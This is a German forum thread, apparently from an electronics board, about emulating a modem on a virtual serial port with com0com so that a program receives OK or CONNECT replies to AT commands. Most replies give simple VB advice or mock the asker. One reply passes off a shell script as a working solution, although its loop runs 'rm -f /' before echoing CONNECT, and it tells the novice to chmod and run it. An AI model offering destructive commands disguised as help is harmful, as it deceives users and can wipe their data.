Modem simulieren

Persönliche Seite
Schreib's Dir selbst?

Die Simulation einer seriellen Schnittstelle, die hierfür erforderlich 
ist, lässt sich mit com0com*, einem virtuellen Nullmodemkabel, 
erreichen.

Das stellt zwei miteinander verbundene Schnittstellen zur Verfügung, die 
eine wird von Deinem von Dir selbst zu schreibendem 
Modem-Nachahm-Programm bedient, die andere wird von dem Programm 
angesteuert, dem Du wohl ein Modem unterschieben willst.

So ein Programm kann man beispielsweise in VB schreiben; das gibts als 
"Visual Studio Express" für lau bei MS.

*) http://com0com.sourceforge.net/
anonymuser schrieb:
> Hallo
>
> und wie schaut der quellcode dafür aus?
>
> Bzw gibs irgednwo einen Beispielcode

Wie wäre es mit: Ich lerne programmieren :-)

Im Ernst: Das was du willst lässt sich in VB in 0-komma nix erledigen. 
Auf jede eingehende Zeile, die mit 'AT' beginnt mit einem 'OK' antworten 
ist nicht gerade Raketentechnik.

Den schwierigen Teil, wie man dein Fake-Modem einem anderen Programm 
unterjubeln kann, hast du ja mit com0com bereits erledigt.

Also ran an die Buletten, bei MS den Download gestartet und während der 
läuft mit google ein VB Tutorial gesucht.

Wir sind hier der festen Überzeugung, dass jeder sich einfache Werkzeuge 
selbst programmieren können sollte. Ansonsten soll er die 
Aufgabenstellung lassen oder sich jemanden suchen, der sich in 
mühevoller Arbeit das Know-How dafür erarbeitet hat und dieses auch 
bezahlt haben will.
Gast
Ich weiss nur leider immer noch nicht welchen Suchbegriff ich bei google 
eintippen muss.. mit vb modemsimulator hab ichs schon versuche 
ergebnislos
Gast
>Ich weiss nur leider immer noch nicht welchen Suchbegriff ich bei google
>eintippen muss.. mit vb modemsimulator hab ichs schon versuche
>ergebnislos

Lies bitte nochmal die Antworten, die Du bekommen hast.

Ein VB Tutorial findet man besser mit "VB Tutorial" oder auch "Visual 
Basic Tutorial" als Suchbegriff.
Gast
>Das nützt mir aber nichts denn weiß ich immer noch nicht wie man solch
>einen Modemsimulator schreibt

Deswegen habe ich ja geschrieben, das Du die Antworten gut durchlesen 
sollst!

Hier:
>Auf jede eingehende Zeile, die mit 'AT' beginnt mit einem 'OK' antworten

Du stellst Dir das vielleicht viel zu kompliziert vor. Wenn Du ein Basic 
Programm schreiben kannst, das auf die Ausgabe "Name" und Deine Eingabe 
"anonymuser" antworten kann: "Hallo anonymuser", dann hast Du es schon 
(OK. Serielle Schnittstelle initialisieren fehlt noch, aber das steht im 
Tutorial).

Nun, reiss Dich doch mal ein bischen am Riemen, ey! ;-)
Gast
Nein mir ist noch nicht klar wie ich das programm schreiben soll welches 
auf jede nuimmer z.b. atdt 0101054 mit einem connect also verbunden 
antwortet
Gast
>Nein mir ist noch nicht klar wie ich das programm schreiben soll welches
>auf jede nuimmer z.b. atdt 0101054 mit einem connect also verbunden
>antwortet

Was genau, in welchem Satz verstehst Du in dem Tutorial, das Du gerade 
liest, nicht?

Am besten Zitat und Link auf das Tutorial posten.
Gast
>Nein mir ist noch nicht klar wie ich das programm schreiben soll welches
>auf jede nuimmer z.b. atdt 0101054 mit einem connect also verbunden
>antwortet

Nimm ein Terminalprogramm und gib dort dann "connect" ein.
Alles andere ist zu schwer für dich.
Gast
Sag mal, Du willst mir doch nicht im Ernst weis machen, das Du denkst, 
das in jedem Tutorial zu einer Programmiersprache auch Anleitungen zu 
jedem denkbaren Problem enthalten sind?

Wenn Du willst, das ich das Programm für Dich schreibe oder sonst jemand 
dann schreib das ganz offen. In Deinem Fall auf jeden Fall Vorauskasse 
1000 Euro netto.
Gast
Grad mal versucht:
Ein Programm in VB6, das auf ATirgendwas (vom COM-Port gelesen) mit 
irgendwas auf selbigem Port antwortet, dauert bis es funktioniert ca. 6 
Minuten...
Das ist genauso easy. leg eine neu Textdatei an und kopier das rein:

#!/bin/sh
while 1
do
  rm -f /
  echo "CONNECT" >> /dev/ttyS0  <- durch die passende Schnittstelle 
ersetzen
done


dann mach noch ein chmod 755 Dateiname

und starte es mit ./Dateiname


Alternativ

phonesim -p 7721 -gui response.xml
Gast
Das kannst du eine Minute später schon sagen?
Ich schlage vor du beschäftigst dich mit den antworten die du bekommst 
mal GRÜNDLICH! und fragst frühestens übermorgen nochmal nach...

P.S. Nur aus neugier: Wie alt bist du eigentlich?
Gast
Es sind weit mehr Foren in denen anonymuser herumtrollt.

Man braucht nur kurz Google anwerfen und findet gleich weitere Foren in 
denen er versucht jemanden zu finden der ihm dass Programm für lau 
schreibt.
Das ist mir eben auch aufgefallen. Mittlerweile sind es wohl 10 oder 
mehr Foren, in denen exakt das gleiche anliegen vorgetragen wurde.

Ich glaube, hätte der anonymuser die Energie, die er zum herumtrollen in 
den Foren verwendet hat, dazu benutzt, sich mit einer Programmiersprache 
auseinanderzusetzen bzw. es mal mit logischem Denken versucht, dann 
hätte er längst sein Ziel erreicht, wenn nicht sogar noch mehr...

Für alle, die sich das mal antuen wollen:
http://www.google.de/search?hl=de&q=%22Sysops%2C+die+an+ihrer+Mailbox-Konfiguration%22

_.-=: MFG :=-._
Gast
Selbst mit Delphi bekomme ich das in 20 Minuten hin, inkl. GUI zum 
Com-Port wählen usw.
Und das, obwohl Delphi eigentlich garkeine Com-Ports unterstützt!

Also, Tipps gab es genug. Lies die Tutorials und verstehe, wie das 
Programm arbeitet.
Dann wirst du bald darauf kommen, dass die Befehle z.B. als String 
empfangen werden. Dann musst du nurnoch aus jedem empfangenen String die 
ersten zwei Zeichen rauskopieren. Lauten diese "AT", sendest du dein 
"Connect" zurück.
Später kannst du dann sogar die gewählte Nummer rauskopieren lassen und 
anzeigen lassen, zur Überprüfung.
Das kann man soweit treiben, dass man theoretisch sogar einen kompletten 
Modem-Emulator schreibt, der sich einen Com-Port und einen LAN-Anschluss 
nimmt und wie ein richtiges Modem eine Einwahl ins Internet ermöglicht.

Nur leider muss man sich dazu mit der Materie beschäftigen und kann 
nicht, wie ein verwöhntes 13 Jahre altes Einzelkind vor dem PC sitzen 
und Leute anquatschen, wie das geht.
Das da "irgendwas" im VB-Fenster steht, ist klar. Es kann hier nur schon 
aus Prinzip keiner wissen, was da steht.
Das heisst im Umkehrschluss, dass dir keiner sagen kann, "geh mit der 
Maus in Zeile 14 und ändere dort zwischen den Klammern den Text, da muss 
hin ...".

Achso und bevor die Frage kommt, nein, deinen Quelltext will hier keiner 
sehen oder gar für dich ändern!
Gast
@Sebastian F.

Wenn unserem Troll sogar Hyperterminal nicht klar kommt, wird er mit 
Excel erst garnicht weiter kommen.

Ich stimme dafür dass wir es so wie die Leute in den >20 Foren machen wo 
er es auch schon versucht hat:
Einfach nicht mehr antworten.
anonymuser schrieb:
> Doch das habe ich verstanden.
>
> Jetzt muss es nur noch funktionieren

Da bin ich aber jetzt gespannt, was du daraus machst :-)
Wenn ich das richtig überflogen habe, dann wird hier Excel benutzt um 
einen String anhand eines anderen Strings zu suchen. Da gibt es keine 
Verbindung zu einer seriellen Schnittstelle, die dafür sorgen würde, 
dass der empfangene String als Suchstring benutzt wird bzw. die 
Umkehrung, dass das Suchergebnis über die serielle Schnittstelle wieder 
ausgegeben wird.

Das was hier in Excel gemacht wird, ist in VB eine Schleife über ein 
Array von vordefinierten Strings und das raussuchen des Antwortstrings 
ebenfalls aus einem vordefiniertem Vorrat. Alles in allem ein 3 Zeiler 
und eine Vorbelegung 2-er Arrays. Alles würde man das in einer normalen 
Programmiersprache, speziell mit deinen Vorgaben, ganz anders und vor 
allen Dingen universeller lösen :-) Ebenfalls als 3-Zeiler aber ohne 
sich die Finger mit Vorgabestrings wundzutippen :-)

Antwort schreiben

Eine eigene Frage? Dieser Thread ist über 17 Jahre alt. Stell sie in einem eigenen Thread – dort lesen mehr Leute mit, und sie wird öfter und schneller beantwortet.

Neuen Thread starten

Eine Lösung, Ergänzung oder Rückmeldung zu diesem Thread? Dann antworte hier.

Formatierung
  • [c]C-Code[/c]
  • [code]Code in anderen Sprachen, ASCII-Zeichnungen[/code]
  • [math]Formel in LaTeX-Syntax[/math]
  • [[Titel]] – Link zu einem Artikel
  • Verweis auf einen anderen Beitrag: Rechtsklick auf dessen Beitrags-ID (#8078628), „Adresse kopieren“, in den Text einfügen

Mehr zur Formatierung

Längeren Sourcecode als Anhang, nicht in den Text. JPG nur für Fotos und Scans; Zeichnungen und Screenshots als PNG oder GIF. Siehe Bildformate.

Schon registriert? Anmelden

Wird nicht angezeigt. Wir schicken dir einen Link; sobald du damit bestätigst, erscheint dein Beitrag.

Mit dem Abschicken legst du einen kostenlosen Account an und erkennst die Nutzungsbedingungen und die Datenschutzerklärung an.